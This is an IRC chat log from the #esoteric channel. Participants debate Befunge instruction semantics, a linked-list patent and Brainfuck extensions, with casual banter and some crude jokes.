:anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, this was discussed a few days ago < 1267651656 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :in here < 1267651864 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, that's a good point. < 1267651913 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :The "search" does have to occur at the beginning, before the first instruction is first executed anyway. < 1267651953 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And it might have to happen if some other EC p'ed a space under the IP. < 1267651956 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that's what I was implicitly demonstrating in my second loop {} style thing < 1267651974 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, it's clearer now. I'll make a note of it. < 1267651996 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And what about that s?-) (Okay, okay, I'll shut up about the s.) < 1267652009 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think the s is pretty obvious even in -98 :-P < 1267652045 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I didn't think there was anything tooooo controversial about s? < 1267652086 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, indeed I agree < 1267652130 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There is a patent on the linked list. Why is there a patent on the linked list. < 1267652242 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :to protect innovation! < 1267652261 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, there must be prior art < 1267652269 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :unless that patent is very old < 1267652274 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :so the patent is invalid < 1267652275 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: Fairly recent. < 1267652284 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, then that patent is invalid < 1267652294 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There's tons of prior art. Like, *nearly every program*. < 1267652313 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but validity of patents doesn't matter in the US courts. < 1267652320 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :I have written programs that don't use linked lists. < 1267652336 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, cpressey, anmaster_l: Oh, don't be like that. "s -- pops a value off the stack and writes it into (position + delta)." It doesn't say anything about advancing the pointer any extra, which made it (to me, anyway) sound like it'd be a fancy instruction that'd let you execute what's on top of stack, since (position + delta) is where the execution would normally continue from. < 1267652340 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I want lament as my patent attorney < 1267652341 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: Yes, but linked lists are an absurdly common data structure. < 1267652351 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You only get the skipping behaviour from the vague "it's a mirror image of '" description. < 1267652364 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: that's patently stupid. < 1267652374 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: See, I don't think it's that vague ;-P < 1267652387 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It doesn't define what a "mirror image" is. :p < 1267652413 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: yes, I don't think it was intended to skip over. "Mirror image" is merely, uh, imagery. < 1267652437 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You don't? O_o < 1267652449 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ha, see! Currently de-facto it does skip over, so it's not usable as-is as an "execute what's on stack" thing. < 1267652461 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Okay, so it's not a huge space-waster to put a tight curve in there, but still. < 1267652471 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what? < 1267652538 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Executing what's on stack is trivial anyway, err... aycy+bydy+p (only works in Befunge) < 1267652543 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, or just some # and j magic < 1267652548 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And needs a few more adds < 1267652551 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But anyway ;-P < 1267652552 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember. < 1267652570 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's not what I'd call "trivial". < 1267652583 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :data [a] = a : [a] | [];head (x:_)=x;tail(_:xs)=xs < 1267652584 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I was jesting < 1267652589 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ooops, I'm violating a patent! < 1267652619 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There were *supposed* to be "store left" and "store right" instructions, and corresponding "fetch", that would store stuff beside the path instead of in it < 1267652620 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I have to admit that I haven't ever written a program where I'd actually felt the need to execute what's on stack... but it *could* happen! < 1267652644 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think that was in a 99 proposal < 1267652684 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :99 < 1267652690 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, was that a typo for 98? < 1267652694 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: k should have taken its instruction from the stack < 1267652697 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: no < 1267652701 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hm okay < 1267652715 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :never heard about the 99 stuff before < 1267652720 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :96 and 97 yes < 1267652737 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's because no one was interested in anyone's ideas for changes after 98 < 1267652747 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :hm okay < 1267652751 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There was all kinds of stuff proposed < 1267652771 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, well I think they are good ideas, but I also think they should probably be a set of fungoids < 1267652776 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :and then everyone is happy < 1267652896 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :With the current s, I don't see any specifically elegant way of using it for stack-execution. sX^ and then v< on top of X^ works, but all the looping makes the IP dizzy. If you just jump backwards without changing delta, it's hard to avoid ending up in a loop; you can't do something like s#vX< because the s won't reach up to the X. < 1267652966 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :s;> #;X#< < 1267652978 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Won't that just overwrite the ;? < 1267652988 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe :-P < 1267653008 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Would be cool if it didn't tho < 1267653025 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :With a non-cardinal delta you can do it semi-elegantly; assuming dx=2, dy=0 for example you could just svX <. < 1267653048 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what is X there? < 1267653054 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"any" < 1267653056 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :anmaster_l: The thing that gets overwritten by s. < 1267653059 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267653089 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But setting a non-cardinal delta involves an ugly vector. < 1267653113 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :eval is supposed to be ugly < 1267653124 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, you could also do 0-2 0 'X #vsX x right? < 1267653130 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :or something like that < 1267653156 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess so. < 1267653165 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267653169 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :make that 02- < 1267653171 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :of course < 1267653201 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though 20x svX < is shorter. I just don't like non-cardinal deltas at all, due to theological observations. < 1267653216 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :oh? < 1267653228 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267653228 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267653229 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :ffs < 1267653241 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Like the old saying goes: God created the cardinal deltas; all else is the work of man. < 1267653246 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They fell less holy, you see. < 1267653345 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"The all-pervading nature of the program counter"; what a lovely section title from Wikipedia. < 1267653358 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, so Cardinalidae is more holy? Huh < 1267653383 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :(algorithm: go to wikipedia disambig page, pick first from list) < 1267653417 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :On the other hand, bishops move diagonally... < 1267653425 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1267653455 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There was a related joke I saw somewhere. < 1267653463 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"As a chess grandmaster, what's your view on America's war strategy?" "Send in the clergy! They can move diagonally!" < 1267653481 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm, SMBC. < 1267653492 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's probably where it was. < 1267653509 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It was. < 1267653558 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267653694 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :where is oklofubp < 1267653712 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa < 1267653818 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1267653846 0 :anmaster_l!unknown@unknown.invalid PRIVMSG #esoteric :night < 1267653856 0 :anmaster_l!unknown@unknown.invalid QUIT :Quit: Leaving < 1267653972 0 :angstrom!~anon@unaffiliated/angstrom JOIN :#esoteric < 1267654021 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :hi guys. how are the extensions { '#', '!' } actually used in brainfuck? < 1267654076 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :#!/sbin/brainfuck < 1267654118 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :as in "#! /bin/bash" ? < 1267654335 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :lament: my question refers to http://esolangs.org/wiki/Brainfuck#Extensions but what does "print the content of the first few memory cells" mean? kinda vague to me.. '!' should, if i'm right, write the char after it from the source into the current cell < 1267654476 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :angstrom: I think # is basically "Debug", and not meant to be portable in any serious way. < 1267654517 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I've seen # used as a breakpoint instruction in BF too. < 1267654524 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Whereas everything before "!" is interpreted as program, and everything after it as input (for interpreters that don't have the usual concept of stdin etc.) < 1267654527 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And ! is only used as an "end of code" marker. < 1267654556 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :^bf ,[.,]!hello < 1267654557 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1267654559 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Like that. < 1267655313 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :ic. i ask, because i'm currently implementing my own bf interpreter, and just wondered, whether there is a mutual understanding of extensions.. < 1267655403 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Just ignore them, really. < 1267655461 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hm < 1267655462 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :a command for doing something like printf("%u", *(ptr + cell)); would come in handy though < 1267655506 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :eg. "^4" which then would print the int stored at (4) < 1267655525 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Then add and document it. < 1267655542 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :!!! ... (this is an infinite stream) ... < 1267655552 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yes. :) < 1267655586 0 :angstrom!unknown@unknown.invalid PRIVMSG #esoteric :i'm not implementing it in bf tho < 1267655704 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: It's turtles all the way down. < 1267655822 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1267656384 0 :alise!~alise@host217-39-12-105.in-addr.btopenworld.com JOIN :#esoteric < 1267656398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :PING google.com (209.85.229.104): 56 data bytes < 1267656398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :64 bytes from 209.85.229.104: icmp_seq=0 ttl=49 time=445.559 ms < 1267656398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :64 bytes from 209.85.229.104: icmp_seq=1 ttl=49 time=458.109 ms < 1267656398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :64 bytes from 209.85.229.104: icmp_seq=2 ttl=49 time=1841.185 ms < 1267656398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :64 bytes from 209.85.229.104: icmp_seq=3 ttl=49 time=847.884 ms < 1267656400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :64 bytes from 209.85.229.104: icmp_seq=4 ttl=49 time=999.323 ms < 1267656400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :64 bytes from 209.85.229.104: icmp_seq=5 ttl=49 time=365.233 ms < 1267656401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi. < 1267656433 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267656433 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The domain name misogyno.us is available. < 1267656435 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Explanation: Now I am on my iMac, using this BT FON thing where you pay £5 and get 24 hours of interwebs via Wi-Fi. It is slow; I think the router is some way away.) < 1267656448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The other computer is connected wiredly; but with a winmodem. < 1267656454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Shit sucks. < 1267656464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: :D < 1267656525 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :As is coprophago.us , but I don't know what that word is and it scares me ... < 1267656537 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Very bad ping, very bad bandwidth. < 1267656538 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: you don't? < 1267656539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Poo-sexual. < 1267656544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Like our dear friend coppro. < 1267656550 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Pooppy) < 1267656558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hey guys what's my lag? < 1267656568 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ping is 1.29 seconds to Gregor :D < 1267656568 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: PING < 1267656576 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Uh, use CTCP ping :P < 1267656578 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise help < 1267656581 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: NO < 1267656582 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: wut < 1267656587 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: :( < 1267656612 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Your ping is n/a no matter how many times I tell my client to ping you :) < 1267656616 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Client doesn't respond to PINGs? < 1267656651 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: 4 seconds < 1267656658 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sweet < 1267656668 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The log for today is loading in tiny stutters < 1267656674 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This thing is shared with whoever owns the hub apparently, and i'm capped < 1267656682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But my 3g stick refused to top up, so... < 1267656701 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION joins #ubuntu for the lulz
< 1267656727 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is scared to venture anywhere besides #esoteric
< 1267656730 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also I /just/ managed to connect to MSN... < 1267656762 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We're the nicest channel now that #haskell has gone all big. < 1267656767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Even nicer if I left :) < 1267656882 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :man #haskell is so fucking awful seriously < 1267656889 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that channel is a pit of fail < 1267656906 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anything else to say other than the usual "Haskell sucks" stuff? < 1267656911 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :was < 1267656912 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I realise Coq is so much better and all but please. < 1267656913 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :but not anymore < 1267656919 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what's coq got to do with it < 1267656925 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, you seem to like Coq. :P < 1267656963 0 :alise_!~alise@host217-39-12-105.in-addr.btopenworld.com JOIN :#esoteric < 1267656963 0 :alise!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267656967 0 :alise_!unknown@unknown.invalid QUIT :Client Quit < 1267656973 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :haskell sucks < 1267656988 0 :alise!~alise@host217-39-12-105.in-addr.btopenworld.com JOIN :#esoteric < 1267657001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not the most reliable connection. < 1267657012 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Could someone pastebin the last, say, 100 lines of today's log? < 1267657016 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Is there anything you feel positively about? < 1267657017 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or, well, since I last left for a while. < 1267657021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I can't seem to load the entire log. < 1267657031 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Negativity! < 1267657081 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant I wish there was < 1267657082 0 :alise!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267657158 0 :alise!~alise@host217-39-12-105.in-addr.btopenworld.com JOIN :#esoteric < 1267657181 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This is just ridiculous. < 1267657185 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyone said anything? < 1267657198 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: No. < 1267657211 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well that's great. Probably they did but the lag stopped me seeing it :) < 1267657217 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I should just top up the damn 3g stick < 1267657221 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And previously it was mostly very boring stuff about Befunge spec. < 1267657230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Aight. < 1267657230 0 :MigoMipo!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267657304 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh I missed this one. < 1267657305 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(4:55:49 PM) lament: haskell sucks < 1267657323 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :We're in top form today. < 1267657399 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1267657403 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267657477 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :In other news, Wouter took free variables (and thus closures) out of Aardappel after deciding they didn't add anything to it (function values can be expressed more directly as term-rewrite rules.) < 1267657495 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But it does have local rules. < 1267657507 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Which is what I'm thinking about. < 1267657510 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Anyway. < 1267657533 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1267657710 0 :alise!~alise@212.183.140.18 JOIN :#esoteric < 1267657879 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Aardappel doesn't treat the local rules as part of the term, though, afaict. So they can't be rewritten by other rules. < 1267657892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Topped up. < 1267657912 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Also, I think there are only 2 levels, local and global. No nested scoping beyond that. Could be wrong though. < 1267657920 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hi alise < 1267658058 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267658160 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I think deltas should modify, but not overwrite, the velocity. < 1267658177 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Like, < should change (1,2) to (0,3) < 1267658182 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Er, if I have my order correct < 1267658249 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: I think that idea was kicked around once... so, like, >> > > > > > causes the IP to speed up to the right < 1267658262 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Assuming it's already going right < 1267658268 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :accelerating >s! < 1267658275 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Pretty much < 1267658281 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It makes turning corners interesting < 1267658282 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION accelerates cpressey's >
< 1267658283 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Oh, I think it'd behave normally just for ^/v/ < 1267658289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Dunno how, though < 1267658293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just a sort of generalisation < 1267658301 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hi augur < 1267658319 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sups < 1267658324 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :im sad < 1267658335 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :why did I study so much computers it was a waste of time < 1267658342 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267658354 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :? nobody gives a fuck if I can implement CPS conversion using delimited continuations ? < 1267658417 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :whine whien whien < 1267658424 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267658429 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy is having some sort of crisis where she disowns all of CS :P < 1267658434 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :#math is that way < 1267658438 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and takes up linguistics! :D < 1267658440 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :#math is awful < 1267658443 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :math actually < 1267658445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or so she says < 1267658447 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I am learning a little bit of linguistics < 1267658448 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :linguistics is awful < 1267658450 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*maths < 1267658455 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: augur hates you now < 1267658460 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :CPRESSEY YOU HOLD YOUR TONGUE < 1267658460 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :>O < 1267658465 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I just read the intro books < 1267658477 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :come, my dear, let me teach you bout some linguisticd < 1267658480 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yeah but alise I'm not good at math < 1267658518 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=Lt4JZyssxOQ < 1267658541 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lmfao < 1267658547 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats a horrible demonstration XD < 1267658670 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :his bothmer person has a bunch of stupid videos < 1267658671 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267658686 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :"this is nor a homomorphism: /bother burns a sheet of paper" < 1267658688 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not** < 1267658726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: computing's cool man < 1267658757 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1267658802 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :computer science is the worst < 1267658818 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :can't decide if it's math, logic, or electrical engineering < 1267658823 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Today, I mostly paste libraries together. So do you, most likely, if you work in software. Doesn’t that seem anticlimactic? We did all those courses on LR grammars and concurrent software and referentially transparent functional languages. We messed about with Prolog, Lisp and APL. We studied invariants and formal preconditions and operating system theory. Now how much of that do we use? A huge part of my job these days seems to be impedence-ma < 1267658841 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Fuck, paste libraries together? I WISH! < 1267658872 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Modern programming is 90% troubleshooting and 10% acting like the bugs that are there don't matter. < 1267658880 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh great MissPiggy read a sub-par lol cs is not programming < 1267659068 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: impedence-ma < 1267659088 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: look cs has a boring brother called programming < 1267659092 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but mathematics doesn't even have a boring brother < 1267659112 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Mathematics also has a boring brother called programming? < 1267659126 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Math is nothing but the lesbian sister of biology < 1267659128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not really :P < 1267659135 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Mathematics has a "special" brother called CS. < 1267659248 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1267659343 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I am a huge proponent of "Agile mathematics" < 1267659387 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :Is it the kind where you need to perform autofellatio? < 1267659521 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... wow. < 1267659672 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1267659682 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't get it. < 1267659721 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Exactly. < 1267659847 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I keep thinking it's some obscure Pair Programming reference. < 1267659850 0 :oerjan!unknown@unknown.invalid PRIVMSG 